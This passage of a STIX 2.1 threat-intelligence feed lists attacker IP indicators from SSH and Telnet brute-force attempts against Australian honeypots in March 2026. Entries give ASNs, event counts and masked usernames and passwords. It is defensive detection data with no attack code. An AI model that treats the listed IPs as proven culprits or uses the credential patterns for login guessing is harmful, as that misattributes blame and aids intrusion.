      "pattern": "[ipv4-addr:value = '139.59.162.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T05:15:04.000Z",
      "valid_until": "2026-04-29T05:15:01.000Z"
    },
    {
      "created": "2026-03-28T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e6d3650c-049d-415d-b439-6dd04c9f5bc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T05:15:04.000Z",
      "valid_until": "2026-04-29T05:15:01.000Z"
    },
    {
      "created": "2026-03-28T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd.",
      "id": "indicator--5ed391d6-686a-49ec-b900-de578c232106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.81.169.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T05:15:04.000Z",
      "valid_until": "2026-04-29T05:15:01.000Z"
    },
    {
      "created": "2026-03-28T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4e6a84a1-4b83-4a9b-a0db-d82992e745b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.155.203.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T05:15:04.000Z",
      "valid_until": "2026-04-29T05:15:01.000Z"
    },
    {
      "created": "2026-03-28T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--acc3a40d-faf3-4851-8c66-81f77cd7e0aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.120.177.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T05:15:04.000Z",
      "valid_until": "2026-04-29T05:15:01.000Z"
    },
    {
      "created": "2026-03-28T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--03afb887-6a52-48ef-af1d-8a1c9d332ab5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.203.65.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T06:15:03.000Z",
      "valid_until": "2026-04-29T06:15:01.000Z"
    },
    {
      "created": "2026-03-28T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, L******6, S******6, s******y.",
      "id": "indicator--215bf598-7416-4544-8695-72ca90c88eab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.183.7.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T06:15:03.000Z",
      "valid_until": "2026-04-29T06:15:01.000Z"
    },
    {
      "created": "2026-03-28T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--23b6a326-67e5-41a0-afc3-0de2260777a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T06:15:03.000Z",
      "valid_until": "2026-04-29T06:15:01.000Z"
    },
    {
      "created": "2026-03-28T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t. Passwords observed (masked): P******d, R*******6.",
      "id": "indicator--401d78dc-ba5c-4bc6-96f5-cc18ec5b9868",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.207.242.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T06:15:03.000Z",
      "valid_until": "2026-04-29T06:15:01.000Z"
    },
    {
      "created": "2026-03-28T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T06:15:03.000Z",
      "valid_until": "2026-04-29T06:15:01.000Z"
    },
    {
      "created": "2026-03-28T07:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5d7e5d00-284c-420b-bf6b-66ab958a30ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.79.68.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T07:15:06.000Z",
      "valid_until": "2026-04-29T07:15:01.000Z"
    },
    {
      "created": "2026-03-28T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--e3727b29-73b0-4016-9d26-35acea5ee5d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.118.57.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T08:15:05.000Z",
      "valid_until": "2026-04-29T08:15:01.000Z"
    },
    {
      "created": "2026-03-28T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 33915. Organisation(s): Vodafone Libertel B.V..",
      "id": "indicator--0538e925-39d9-46f6-ab55-532580fc1438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '84.24.152.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T08:15:05.000Z",
      "valid_until": "2026-04-29T08:15:01.000Z"
    },
    {
      "created": "2026-03-28T09:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--d7f8145c-6e93-4cdf-b073-8936e40c5bc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.169.249.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T09:15:02.000Z",
      "valid_until": "2026-04-29T09:15:00.000Z"
    },
    {
      "created": "2026-03-28T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2081. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t, d****y, u****u, d******r, u**r. Passwords observed (masked): 1****6, ***, p******d, P******d, 1**4.",
      "id": "indicator--ef99e560-470f-4544-ae6b-a30a6ca40646",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.236.164.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T09:15:02.000Z",
      "valid_until": "2026-04-29T09:15:00.000Z"
    },
    {
      "created": "2026-03-28T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--62b06d64-ec02-4cd7-8857-c9a31777b513",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T09:15:02.000Z",
      "valid_until": "2026-04-29T09:15:00.000Z"
    },
    {
      "created": "2026-03-28T09:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22689. Organisation(s): SERCOMTEL SA TELECOMUNICACOES.",
      "id": "indicator--adb9217e-b04b-4a61-ac5c-c5664eb082d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.94.208.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T09:15:02.000Z",
      "valid_until": "2026-04-29T09:15:00.000Z"
    },
    {
      "created": "2026-03-28T09:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269425. Organisation(s): RN TELECOMUNICACOES EIRELI.",
      "id": "indicator--df20a271-9fbd-432b-bb01-1b176675c41d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.186.33.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T09:15:02.000Z",
      "valid_until": "2026-04-29T09:15:00.000Z"
    },
    {
      "created": "2026-03-28T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 9145. Organisation(s): EWE-Tel GmbH.",
      "id": "indicator--ff57d990-c004-44f5-87cb-4a7e3548a85c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.228.129.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T09:15:02.000Z",
      "valid_until": "2026-04-29T09:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9832417e-bb84-46a3-8723-e2995820dd70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.176.55.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--12544ed5-91b1-4db5-b050-dc7bae3cfea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.237.125.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--f8b0e367-c2fc-49ea-90ca-fce742c9f6cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.55.83.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--b1a1fbb8-a51b-4d34-9be4-f3b2ba7bc57d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.119.208.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--301a197d-04fc-4522-b12a-615f0d910271",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ec9dc9b8-d752-43e9-b5a1-dacc46bc7d4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--cbb0b81e-0416-4a30-a7fa-f71803ed61a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T10:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NO. ASN(s): 2119. Organisation(s): Telenor Norge AS.",
      "id": "indicator--7e6725db-7fb9-46fc-81c0-2ff223eb48ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T10:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '88.89.59.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:15:02.000Z",
      "valid_until": "2026-04-29T10:15:00.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, u**r, c****g, ***. Passwords observed (masked): 1**4, 0**************D, 1***5, 1****6, O************Z.",
      "id": "indicator--a07d8bf7-d3c1-4ac6-88e1-eb86cc34e438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.174.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--4fe1ae12-dd5b-4fd5-b962-e616c9abe8ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.200.56.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC. Usernames observed (masked): r**t. Passwords observed (masked): A*******3.",
      "id": "indicator--b458b4c2-8265-4e59-ac85-8c25c083cbcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.124.42.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A..",
      "id": "indicator--8370e90b-a41f-4907-a56f-b3d498067726",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.49.117.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 272953. Organisation(s): HS NETWORKS SAS.",
      "id": "indicator--52793ccf-d197-49df-b77e-ae249ef47bf3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.216.132.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****2, 1*******d, 1*******d.",
      "id": "indicator--975c57cb-1ab9-42c6-9845-226a1f253f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.251.245.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 367. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, *****, 1****6. Passwords observed (masked): a***n, 1****6, *****, 0********1, 1**1.",
      "id": "indicator--9be557b0-fd95-48e8-bfb8-856a00a77d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.41.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 539. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, d*******r, t**t. Passwords observed (masked): a***n, 1****6, p******d, 0**************D, 1**4.",
      "id": "indicator--cca44ea3-552b-421c-b9f1-d1a8284fc8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.43.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 59162. Organisation(s): U.P. COMMUNICATION SERVICES PVT LTD.",
      "id": "indicator--dcc3a626-1607-438d-b751-a1f7ed13c5c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.123.10.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T11:15:03.000Z",
      "valid_until": "2026-04-29T11:15:01.000Z"
    },
    {
      "created": "2026-03-28T11:15:03.000Z",
